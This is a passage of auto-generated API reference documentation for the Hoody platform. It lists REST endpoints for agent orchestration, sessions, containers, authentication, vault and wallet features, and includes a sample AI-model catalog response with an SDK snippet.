- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/orchestrator/phases/{phaseID}/session` — Get phase orchestrator session info
- **POST** `/api/v1/workspaces/{workspaceID}/orchestration/orchestrator/phases/{phaseID}/prompt` — Send prompt to phase orchestrator session
- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/budget` — Get global budget status with per-entry breakdown
- **PATCH** `/api/v1/workspaces/{workspaceID}/orchestration/budget` — Update global budget (max project spend)
- **PATCH** `/api/v1/workspaces/{workspaceID}/orchestration/budget/entries/{entryID}` — Edit entry budget (sets budget_human_locked)
- **POST** `/api/v1/workspaces/{workspaceID}/orchestration/budget/entries/{entryID}/lock` — Toggle budget_human_locked on an entry
- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/config` — Get orchestration config
- **PATCH** `/api/v1/workspaces/{workspaceID}/orchestration/config` — Patch orchestration config (partial update)
- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/log` — Read tool call log (paginated, filterable)
- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/log/stream` — Tool call log SSE stream
- **POST** `/api/v1/workspaces/{workspaceID}/orchestration/import` — Start a repo import
- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/import/{jobID}` — Get import job status
- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/vault/discover` — Discover Master TODOs stored in Vault
- **POST** `/api/v1/workspaces/{workspaceID}/orchestration/vault/import` — Import a TODO from Vault into local storage
- **POST** `/api/v1/workspaces/{workspaceID}/orchestration/vault/sync` — Sync local state to Vault (hybrid backend only)
- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/events` — SSE stream of all orchestration events (supports ?since_seq=N for reconnection)
- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/events/connections` — Get SSE connection count
- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/phases` — List all phases
- **POST** `/api/v1/workspaces/{workspaceID}/orchestration/phases` — Create phases
- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/phases/{phaseID}` — Get single phase detail
- **DELETE** `/api/v1/workspaces/{workspaceID}/orchestration/phases/{phaseID}` — Delete a phase (entries are unphased, not deleted)
- **PATCH** `/api/v1/workspaces/{workspaceID}/orchestration/phases/{phaseID}/status` — Manually update phase status
- **POST** `/api/v1/workspaces/{workspaceID}/orchestration/phases/{phaseID}/entries` — Add entry to phase
- **PATCH** `/api/v1/workspaces/{workspaceID}/orchestration/phases/{phaseID}/rounds` — Update phase rounds budget
- **POST** `/api/v1/workspaces/{workspaceID}/orchestration/phases/{phaseID}/verify` — Manually trigger phase verification
- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/phases/{phaseID}/summary` — Get phase summary
- **POST** `/api/v1/workspaces/{workspaceID}/orchestration/phases/{phaseID}/review` — Manually trigger phase review
- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/phases/{phaseID}/memory` — Get phase memory notes
- **POST** `/api/v1/workspaces/{workspaceID}/orchestration/phases/{phaseID}/memory` — Add a note to phase memory
- **DELETE** `/api/v1/workspaces/{workspaceID}/orchestration/phases/{phaseID}/memory` — Clear phase memory
- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/phases/memory` — Get memory for all phases
- **POST** `/api/v1/workspaces/{workspaceID}/orchestration/purge` — Purge all orchestration data for this workspace
- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/debug-dump` — Export full orchestration debug dump

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Agent:Permissions

**Page:** api/agent-permissions

[Download Raw Markdown](./api/agent-permissions.md)

---

## API Endpoints Summary

- **GET** `/api/v1/workspaces/{workspaceID}/config/permission` — Get workspace permission overrides
- **POST** `/api/v1/workspaces/{workspaceID}/permissions/{requestID}/reply` — Respond to permission request

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Agent:Project

**Page:** api/agent-project

[Download Raw Markdown](./api/agent-project.md)

---

## API Endpoints Summary

- **GET** `/api/v1/workspaces/{workspaceID}/project/current` — Get current project

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Agent:Prompt

**Page:** api/agent-prompt

[Download Raw Markdown](./api/agent-prompt.md)

---

## API Endpoints Summary

- **POST** `/api/v1/agent/prompt/sync` — Execute prompt (synchronous)
- **GET** `/api/v1/agent/prompt` — Execute prompt via query
- **POST** `/api/v1/agent/prompt` — Execute prompt

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Agent:Providers

**Page:** api/agent-providers

[Download Raw Markdown](./api/agent-providers.md)

---

## API Endpoints Summary

- **GET** `/api/v1/workspaces/{workspaceID}/providers/auth` — Get provider auth methods
- **POST** `/api/v1/workspaces/{workspaceID}/providers/{providerID}/oauth/authorize` — OAuth authorize
- **POST** `/api/v1/workspaces/{workspaceID}/providers/{providerID}/oauth/callback` — OAuth callback

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Agent:Questions

**Page:** api/agent-questions

[Download Raw Markdown](./api/agent-questions.md)

---

## API Endpoints Summary

- **POST** `/api/v1/workspaces/{workspaceID}/questions/{requestID}/reply` — Reply to question request
- **POST** `/api/v1/workspaces/{workspaceID}/questions/{requestID}/reject` — Reject question request
- **POST** `/api/v1/workspaces/{workspaceID}/questions/{requestID}/consult` — Consult AI about a question

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Agent:Sessions

**Page:** api/agent-sessions

[Download Raw Markdown](./api/agent-sessions.md)

---

## API Endpoints Summary

- **GET** `/api/v1/workspaces/{workspaceID}/sessions` — List workspace sessions
- **POST** `/api/v1/workspaces/{workspaceID}/sessions` — Create workspace session
- **GET** `/api/v1/workspaces/{workspaceID}/sessions/status` — Get all workspace session statuses
- **GET** `/api/v1/workspaces/{workspaceID}/sessions/{sessionID}` — Get workspace session
- **PATCH** `/api/v1/workspaces/{workspaceID}/sessions/{sessionID}` — Update workspace session
- **DELETE** `/api/v1/workspaces/{workspaceID}/sessions/{sessionID}` — Delete workspace session
- **GET** `/api/v1/workspaces/{workspaceID}/sessions/{sessionID}/children` — Get child sessions
- **GET** `/api/v1/workspaces/{workspaceID}/sessions/{sessionID}/messages` — List workspace session messages
- **GET** `/api/v1/workspaces/{workspaceID}/sessions/{sessionID}/messages/{messageID}` — Get workspace session message
- **GET** `/api/v1/workspaces/{workspaceID}/sessions/{sessionID}/summary` — Get workspace session summary
- **GET** `/api/v1/workspaces/{workspaceID}/sessions/{sessionID}/diff` — Get workspace session diff
- **GET** `/api/v1/workspaces/{workspaceID}/sessions/{sessionID}/todo` — Get workspace session todos
- **POST** `/api/v1/workspaces/{workspaceID}/sessions/{sessionID}/abort` — Abort workspace session
- **POST** `/api/v1/workspaces/{workspaceID}/sessions/{sessionID}/fork` — Fork workspace session
- **POST** `/api/v1/workspaces/{workspaceID}/sessions/{sessionID}/revert` — Revert workspace session message
- **POST** `/api/v1/workspaces/{workspaceID}/sessions/{sessionID}/unrevert` — Unrevert workspace session
- **POST** `/api/v1/workspaces/{workspaceID}/sessions/{sessionID}/init` — Initialize workspace session config
- **POST** `/api/v1/workspaces/{workspaceID}/sessions/{sessionID}/export` — Export session (workspace)
- **POST** `/api/v1/workspaces/{workspaceID}/sessions/{sessionID}/message` — Send message
- **POST** `/api/v1/workspaces/{workspaceID}/sessions/{sessionID}/prompt_async` — Send async message
- **POST** `/api/v1/workspaces/{workspaceID}/sessions/{sessionID}/command` — Send command
- **POST** `/api/v1/workspaces/{workspaceID}/sessions/{sessionID}/shell` — Run shell command
- **POST** `/api/v1/workspaces/{workspaceID}/sessions/{sessionID}/summarize` — Summarize session
- **PATCH** `/api/v1/workspaces/{workspaceID}/sessions/{sessionID}/tags` — Update session tags
- **PATCH** `/api/v1/workspaces/{workspaceID}/sessions/{sessionID}/message/{messageID}` — Update message
- **PATCH** `/api/v1/workspaces/{workspaceID}/sessions/{sessionID}/message/{messageID}/part/{partID}` — Update message part
- **DELETE** `/api/v1/workspaces/{workspaceID}/sessions/{sessionID}/message/{messageID}/part/{partID}` — Delete message part
- **GET** `/api/v1/agent/sessions/live` — Sessions wall (HTML)
- **GET** `/api/v1/agent/all` — Sessions wall (alias)

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Agent:Skills

**Page:** api/agent-skills

[Download Raw Markdown](./api/agent-skills.md)

---

## API Endpoints Summary

- **GET** `/api/v1/workspaces/{workspaceID}/skills/marketplace` — Browse marketplace
- **PATCH** `/api/v1/workspaces/{workspaceID}/skills/builtin/{name}` — Toggle built-in skill
- **GET** `/api/v1/exec-skills` — Discover agent skills

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Agent:Web Search

**Page:** api/agent-web-search

[Download Raw Markdown](./api/agent-web-search.md)

---

## API Endpoints Summary

- **GET** `/api/v1/workspaces/{workspaceID}/web-search/status` — Get web search status

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Agent:Workspace

**Page:** api/agent-workspace

[Download Raw Markdown](./api/agent-workspace.md)

---

## API Endpoints Summary

- **POST** `/api/v1/workspaces/{workspaceID}/container` — Bind container to workspace
- **DELETE** `/api/v1/workspaces/{workspaceID}/container` — Unbind container from workspace

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# AI Models

**Page:** api/ai-models

[Download Raw Markdown](./api/ai-models.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## List AI Models

The AI Models endpoint returns the current cached catalog of AI models available through the Hoody AI gateway. Use it to discover which models you can target, inspect their supported modalities, and review Hoody-specific pricing. Provider details are intentionally not exposed in this response.

### `GET /api/v1/ai/models`

Returns the current cached catalog of available AI models. Pricing is returned as Hoody prices. Provider details are intentionally not exposed.

This endpoint takes no parameters.



```json
{
  "statusCode": 200,
  "message": "AI models retrieved successfully",
  "data": {
    "updated_at": "2025-12-12T20:00:00.000Z",
    "models": [
      {
        "id": "openai/gpt-4o",
        "name": "GPT-4o",
        "description": "A multimodal model supporting text and image inputs.",
        "created": 1715558400,
        "context_length": 128000,
        "input_modalities": ["text", "image", "file"],
        "output_modalities": ["text"],
        "pricing": {
          "prompt": "0.00000263",
          "completion": "0.00001050",
          "image": "0.003793"
        }
      },
      {
        "id": "anthropic/claude-3.5-sonnet",
        "name": "Claude 3.5 Sonnet",
        "description": "A balanced model optimized for reasoning and code generation.",
        "created": 1726012800,
        "context_length": 200000,
        "input_modalities": ["text", "image"],
        "output_modalities": ["text"],
        "pricing": {
          "prompt": "0.00000300",
          "completion": "0.00001500"
        }
      }
    ]
  }
}
```

#### Response fields

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `statusCode` | number | Yes | HTTP-style status code for the response (always `200` for this endpoint) |
| `message` | string | Yes | Human-readable summary of the result |
| `data` | object | Yes | Catalog payload |
| `data.updated_at` | `null` \| string | Yes | ISO-8601 timestamp indicating when the catalog was last refreshed, or `null` if never updated |
| `data.models` | array | Yes | List of available AI models |
| `data.models[].id` | string | Yes | Model identifier (e.g. `openai/gpt-4o`) |
| `data.models[].name` | string | Yes | Human-readable model name |
| `data.models[].description` | `null` \| string | No | Short description of the model and its capabilities |
| `data.models[].created` | `null` \| integer | No | Unix timestamp (seconds) representing the upstream model's release date |
| `data.models[].context_length` | `null` \| integer | No | Maximum context window in tokens |
| `data.models[].input_modalities` | array | No | Supported input modalities (e.g. `text`, `image`, `file`) |
| `data.models[].output_modalities` | array | No | Supported output modalities (e.g. `text`) |
| `data.models[].pricing` | object | Yes | Hoody pricing for the model, keyed by metric (e.g. `prompt`, `completion`, `image`) |



### SDK usage



```ts


const hoody = new Hoody({
  apiKey: process.env.HOODY_API_KEY,
});

const catalog = await hoody.api.ai.listModels();

console.log(catalog.data.models[0].id);
console.log(catalog.data.models[0].pricing);
```




Pricing values are returned as strings to preserve full numeric precision. Treat them as decimal Hoody credits per unit (token or image) rather than as numbers to avoid floating-point rounding.

---

# Api:Activity Logs

**Page:** api/api-activity-logs

[Download Raw Markdown](./api/api-activity-logs.md)

---

## API Endpoints Summary

- **GET** `/api/v1/users/auth/activity` — Get activity logs
- **GET** `/api/v1/users/auth/activity/stats` — Get activity stats

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:AI

**Page:** api/api-ai

[Download Raw Markdown](./api/api-ai.md)

---

## API Endpoints Summary

- **GET** `/api/v1/ai/models` — List available AI models (Hoody catalog)

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:Auth Tokens

**Page:** api/api-auth-tokens

[Download Raw Markdown](./api/api-auth-tokens.md)

---

## API Endpoints Summary

- **GET** `/api/v1/auth/tokens` — List auth tokens
- **POST** `/api/v1/auth/tokens` — Create a new auth token
- **POST** `/api/v1/auth/tokens/{id}/copy` — Copy auth token
- **GET** `/api/v1/auth/tokens/me` — Get current auth token details
- **PUT** `/api/v1/auth/tokens/me/public-profile` — Update current auth token public profile
- **PATCH** `/api/v1/auth/tokens/me/public-profile` — Update current auth token public profile
- **GET** `/api/v1/auth/tokens/public-profiles/{public_key}` — Get auth token public profile by public key
- **GET** `/api/v1/auth/tokens/{id}` — Get auth token by ID
- **PUT** `/api/v1/auth/tokens/{id}` — Update auth token
- **PATCH** `/api/v1/auth/tokens/{id}` — Update auth token
- **DELETE** `/api/v1/auth/tokens/{id}` — Delete auth token
- **POST** `/api/v1/auth/tokens/{id}/add-realm` — Add realm to auth token
- **POST** `/api/v1/auth/tokens/{id}/remove-realm` — Remove realm from auth token

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:Authentication

**Page:** api/api-authentication

[Download Raw Markdown](./api/api-authentication.md)

---

## API Endpoints Summary

- **POST** `/api/v1/users/auth/login` — Login with username and password
- **POST** `/api/v1/users/auth/refresh` — Refresh access token
- **GET** `/api/v1/users/auth/me` — Get current user profile
- **POST** `/api/v1/users/auth/logout` — Logout
- **POST** `/api/v1/auth/signup` — Sign up with email and password
- **POST** `/api/v1/auth/verify-email` — Verify email address
- **POST** `/api/v1/auth/resend-verification` — Resend verification email
- **POST** `/api/v1/auth/forgot-password` — Request password reset
- **POST** `/api/v1/auth/reset-password` — Reset password
- **GET** `/api/v1/auth/available-regions` — Get available server regions
- **GET** `/api/v1/auth/github` — Redirect to GitHub OAuth
- **GET** `/api/v1/auth/github/callback` — GitHub OAuth callback
- **GET** `/api/v1/auth/google` — Redirect to Google OAuth
- **GET** `/api/v1/auth/google/callback` — Google OAuth callback

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:Billing

**Page:** api/api-billing

[Download Raw Markdown](./api/api-billing.md)

---

## API Endpoints Summary

- **GET** `/api/v1/billing/balance` — Get user balance
- **GET** `/api/v1/billing/transactions` — Get user transactions
- **GET** `/api/v1/billing/transactions/{id}` — Get transaction by ID

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:Container Environment

**Page:** api/api-container-environment

[Download Raw Markdown](./api/api-container-environment.md)

---

## API Endpoints Summary

- **GET** `/api/v1/containers/{id}/env` — List container environment variables
- **PUT** `/api/v1/containers/{id}/env` — Bulk set container environment variables
- **PATCH** `/api/v1/containers/{id}/env` — Bulk set container environment variables
- **PUT** `/api/v1/containers/{id}/env/{key}` — Set a single environment variable
- **PATCH** `/api/v1/containers/{id}/env/{key}` — Set a single environment variable
- **DELETE** `/api/v1/containers/{id}/env/{key}` — Delete a single environment variable

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:Container Firewall

**Page:** api/api-container-firewall

[Download Raw Markdown](./api/api-container-firewall.md)

---

## API Endpoints Summary

- **GET** `/api/v1/containers/{id}/firewall/rules` — List container firewall rules
- **POST** `/api/v1/containers/{id}/firewall/reset` — Reset container firewall
- **POST** `/api/v1/containers/{id}/firewall/ingress` — Add Ingress Rule
- **PATCH** `/api/v1/containers/{id}/firewall/ingress` — Toggle Ingress Rule State
- **DELETE** `/api/v1/containers/{id}/firewall/ingress` — Remove Ingress Rule(s)
- **POST** `/api/v1/containers/{id}/firewall/egress` — Add Egress Rule
- **PATCH** `/api/v1/containers/{id}/firewall/egress` — Toggle Egress Rule State
- **DELETE** `/api/v1/containers/{id}/firewall/egress` — Remove Egress Rule(s)

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:Container Images

**Page:** api/api-container-images

[Download Raw Markdown](./api/api-container-images.md)

---

## API Endpoints Summary

- **GET** `/api/v1/images/public` — List public images
- **GET** `/api/v1/images/public/{id}` — Get public image details
- **GET** `/api/v1/images/{id}/icon` — Get image icon
- **GET** `/api/v1/images/user` — List user images
- **POST** `/api/v1/images/import/{id}` — Import free image
- **POST** `/api/v1/images/purchase/{id}` — Purchase image
- **POST** `/api/v1/images/rate/{id}` — Rate image

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:Containers

**Page:** api/api-containers

[Download Raw Markdown](./api/api-containers.md)

---

## API Endpoints Summary

- **GET** `/api/v1/projects/{id}/containers` — Get all containers for a project
- **POST** `/api/v1/projects/{id}/containers` — Create a new container
- **GET** `/api/v1/containers/` — Get all containers
- **GET** `/api/v1/containers/{id}` — Get a container by ID
- **PUT** `/api/v1/containers/{id}` — Update a container
- **PATCH** `/api/v1/containers/{id}` — Update a container
- **DELETE** `/api/v1/containers/{id}` — Delete a container
- **GET** `/api/v1/containers/{id}/status-logs` — Get status logs for a container
- **POST** `/api/v1/containers/{id}/copy` — Copy a container
- **POST** `/api/v1/containers/{id}/sync` — Sync a copied container with its source
- **POST** `/api/v1/containers/{id}/authorize` — Authorize Container Access
- **POST** `/api/v1/containers/{id}/{operation}` — Manage container
- **GET** `/api/v1/containers/{id}/network` — Get container network configuration
- **PUT** `/api/v1/containers/{id}/network` — Update container network configuration
- **PATCH** `/api/v1/containers/{id}/network` — Update container network configuration
- **DELETE** `/api/v1/containers/{id}/network` — Remove container network configuration
- **POST** `/api/v1/containers/{id}/network/start` — Start container network proxy/blocking
- **POST** `/api/v1/containers/{id}/network/stop` — Stop container network proxy/blocking
- **GET** `/api/v1/containers/{id}/snapshots` — Get container snapshots
- **POST** `/api/v1/containers/{id}/snapshots` — Create container snapshot
- **PUT** `/api/v1/containers/{id}/snapshots/{name}` — Restore container from snapshot
- **PATCH** `/api/v1/containers/{id}/snapshots/{name}` — Restore container from snapshot
- **DELETE** `/api/v1/containers/{id}/snapshots/{name}` — Delete container snapshot
- **PUT** `/api/v1/containers/{id}/snapshots/{name}/alias` — Update snapshot alias
- **PATCH** `/api/v1/containers/{id}/snapshots/{name}/alias` — Update snapshot alias
- **GET** `/api/v1/containers/{id}/stats` — Get container resource statistics

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:Events

**Page:** api/api-events

[Download Raw Markdown](./api/api-events.md)

---

## API Endpoints Summary

- **GET** `/api/v1/events/stats` — Get event statistics
- **GET** `/api/v1/events` — List event history
- **DELETE** `/api/v1/events` — Bulk delete events
- **GET** `/api/v1/events/{id}` — Get event details by ID
- **DELETE** `/api/v1/events/{id}` — Delete a single event
- **POST** `/api/v1/events/cleanup` — Cleanup old events

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:Meta

**Page:** api/api-meta

[Download Raw Markdown](./api/api-meta.md)

---

## API Endpoints Summary

- **GET** `/api/v1/meta/public-key` — Get Hoody API Signing Public Key

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:Notifications

**Page:** api/api-notifications

[Download Raw Markdown](./api/api-notifications.md)

---

## API Endpoints Summary

- **GET** `/api/v1/notifications/public` — Get all public notifications
- **GET** `/api/v1/notifications/` — Get all notifications for the authenticated user
- **PUT** `/api/v1/notifications/{id}/read` — Mark a notification as read
- **PATCH** `/api/v1/notifications/{id}/read` — Mark a notification as read
- **PUT** `/api/v1/notifications/read-all` — Mark all notifications as read
- **PATCH** `/api/v1/notifications/read-all` — Mark all notifications as read

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:Pool Invitations

**Page:** api/api-pool-invitations

[Download Raw Markdown](./api/api-pool-invitations.md)

---

## API Endpoints Summary

- **GET** `/api/v1/pools/invitations/pending` — List pending invitations
- **POST** `/api/v1/pools/{id}/accept` — Accept invitation
- **POST** `/api/v1/pools/{id}/reject` — Reject invitation

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:Pool Members

**Page:** api/api-pool-members

[Download Raw Markdown](./api/api-pool-members.md)

---

## API Endpoints Summary

- **POST** `/api/v1/pools/{id}/members` — Invite member
- **PUT** `/api/v1/pools/{id}/members/{userId}` — Update member role
- **PATCH** `/api/v1/pools/{id}/members/{userId}` — Update member role
- **DELETE** `/api/v1/pools/{id}/members/{userId}` — Remove member

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:Pools

**Page:** api/api-pools

[Download Raw Markdown](./api/api-pools.md)

---

## API Endpoints Summary

- **GET** `/api/v1/pools` — List user pools
- **POST** `/api/v1/pools` — Create pool
- **GET** `/api/v1/pools/{id}` — Get pool details
- **PUT** `/api/v1/pools/{id}` — Update pool
- **PATCH** `/api/v1/pools/{id}` — Update pool
- **DELETE** `/api/v1/pools/{id}` — Delete pool

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:Projects

**Page:** api/api-projects

[Download Raw Markdown](./api/api-projects.md)

---

## API Endpoints Summary

- **GET** `/api/v1/projects/` — List all projects
- **POST** `/api/v1/projects/` — Create a new project
- **GET** `/api/v1/projects/{id}` — Get project by ID
- **PUT** `/api/v1/projects/{id}` — Update project
- **PATCH** `/api/v1/projects/{id}` — Update project
- **DELETE** `/api/v1/projects/{id}` — Delete project
- **GET** `/api/v1/projects/{id}/permissions` — List project permissions
- **POST** `/api/v1/projects/{id}/permissions` — Grant project access
- **PUT** `/api/v1/projects/{id}/permissions/{permissionId}` — Update project permission
- **PATCH** `/api/v1/projects/{id}/permissions/{permissionId}` — Update project permission
- **DELETE** `/api/v1/projects/{id}/permissions/{permissionId}` — Revoke project access
- **GET** `/api/v1/projects/{id}/stats` — Get statistics for all containers in a project

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:Realms

**Page:** api/api-realms

[Download Raw Markdown](./api/api-realms.md)

---

## API Endpoints Summary

- **GET** `/api/v1/realms/` — List your realm IDs

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:Rentals

**Page:** api/api-rentals

[Download Raw Markdown](./api/api-rentals.md)

---

## API Endpoints Summary

- **GET** `/api/v1/rentals` — List user rentals
- **GET** `/api/v1/rentals/{id}` — Get rental details
- **POST** `/api/v1/rentals/{id}/extend` — Extend rental

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:Server Commands

**Page:** api/api-server-commands

[Download Raw Markdown](./api/api-server-commands.md)

---

## API Endpoints Summary

- **POST** `/api/v1/servers/{serverId}/execute-command` — Execute server command
- **GET** `/api/v1/servers/{serverId}/available-commands` — Get available commands

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:Server Rental

**Page:** api/api-server-rental

[Download Raw Markdown](./api/api-server-rental.md)

---

## API Endpoints Summary

- **GET** `/api/v1/servers/available` — Browse rental marketplace
- **POST** `/api/v1/servers/{id}/rent` — Rent server
- **GET** `/api/v1/servers` — List user servers (alias for /rentals)
- **GET** `/api/v1/servers/{id}` — Get server details (alias for /rentals/:id)

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:Storage Shares

**Page:** api/api-storage-shares

[Download Raw Markdown](./api/api-storage-shares.md)

---

## API Endpoints Summary

- **GET** `/api/v1/containers/{id}/storage/shares` — List storage shares
- **POST** `/api/v1/containers/{id}/storage/shares` — Create storage share
- **GET** `/api/v1/containers/{id}/storage/shares/{shareId}` — Get storage share
- **PATCH** `/api/v1/containers/{id}/storage/shares/{shareId}` — Update storage share
- **DELETE** `/api/v1/storage/shares/{shareId}` — Delete storage share
- **GET** `/api/v1/containers/{id}/storage/incoming` — Get incoming shares
- **GET** `/api/v1/storage/incoming` — Get all incoming shares
- **GET** `/api/v1/storage/shares` — List all your storage shares
- **PATCH** `/api/v1/containers/{id}/storage/incoming/{shareId}/mount` — Toggle incoming share mount

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:Two-Factor Authentication

**Page:** api/api-two-factor-authentication

[Download Raw Markdown](./api/api-two-factor-authentication.md)

---

## API Endpoints Summary

- **POST** `/api/v1/users/auth/2fa/verify` — Verify 2FA Code During Login
- **POST** `/api/v1/users/auth/2fa/setup` — Initialize 2FA Setup
- **POST** `/api/v1/users/auth/2fa/verify-setup` — Complete 2FA Setup
- **GET** `/api/v1/users/auth/2fa/status` — Get 2FA Status
- **DELETE** `/api/v1/users/auth/2fa` — Disable 2FA
- **POST** `/api/v1/users/auth/2fa/backup-codes/regenerate` — Regenerate Backup Codes
- **PUT** `/api/v1/users/auth/2fa/token-gate` — Set 2FA token gate preference
- **PATCH** `/api/v1/users/auth/2fa/token-gate` — Set 2FA token gate preference

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:User Vault

**Page:** api/api-user-vault

[Download Raw Markdown](./api/api-user-vault.md)

---

## API Endpoints Summary

- **GET** `/api/v1/vault/stats` — Get vault statistics
- **GET** `/api/v1/vault/keys` — List vault keys
- **GET** `/api/v1/vault/keys/{key}` — Get vault key
- **PUT** `/api/v1/vault/keys/{key}` — Set vault key
- **PATCH** `/api/v1/vault/keys/{key}` — Set vault key
- **DELETE** `/api/v1/vault/keys/{key}` — Delete vault key
- **DELETE** `/api/v1/vault` — Clear entire vault

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:Users

**Page:** api/api-users

[Download Raw Markdown](./api/api-users.md)

---

## API Endpoints Summary

- **GET** `/api/v1/users/{id}` — Get user by ID
- **PUT** `/api/v1/users/{id}` — Update user profile
- **PATCH** `/api/v1/users/{id}` — Update user profile
- **POST** `/api/v1/users/me/retry-setup` — Retry free-tier account setup

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:Utilities

**Page:** api/api-utilities

[Download Raw Markdown](./api/api-utilities.md)

---

## API Endpoints Summary

- **GET** `/api/v1/ip` — Get IP Information

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Api:Wallet

**Page:** api/api-wallet

[Download Raw Markdown](./api/api-wallet.md)

---

## API Endpoints Summary

- **GET** `/api/v1/wallet/balances` — Get aggregate balances (general + AI)
- **GET** `/api/v1/wallet/balances/general` — Get general balance only
- **GET** `/api/v1/wallet/balances/ai` — Get AI balance (limit, usage, remaining)
- **POST** `/api/v1/wallet/transfers` — Transfer from general balance to AI credits
- **GET** `/api/v1/wallet/transactions` — List transactions
- **GET** `/api/v1/wallet/transactions/{id}` — Get transaction by ID
- **GET** `/api/v1/wallet/ai-fee-history` — Get AI credit fee history
- **GET** `/api/v1/wallet/payment-methods/` — Get all payment methods
- **POST** `/api/v1/wallet/payment-methods/` — Add a new payment method
- **GET** `/api/v1/wallet/payment-methods/{id}` — Get payment method by ID
- **PUT** `/api/v1/wallet/payment-methods/{id}` — Update a payment method
- **PATCH** `/api/v1/wallet/payment-methods/{id}` — Update a payment method
- **DELETE** `/api/v1/wallet/payment-methods/{id}` — Delete a payment method
- **PUT** `/api/v1/wallet/payment-methods/{id}/default` — Set a payment method as default
- **PATCH** `/api/v1/wallet/payment-methods/{id}/default` — Set a payment method as default
- **POST** `/api/v1/wallet/payments/` — Process a payment
- **GET** `/api/v1/wallet/payments/{id}` — Get payment status
- **GET** `/api/v1/wallet/invoices/` — Get all invoices
- **GET** `/api/v1/wallet/invoices/{id}` — Get invoice by ID
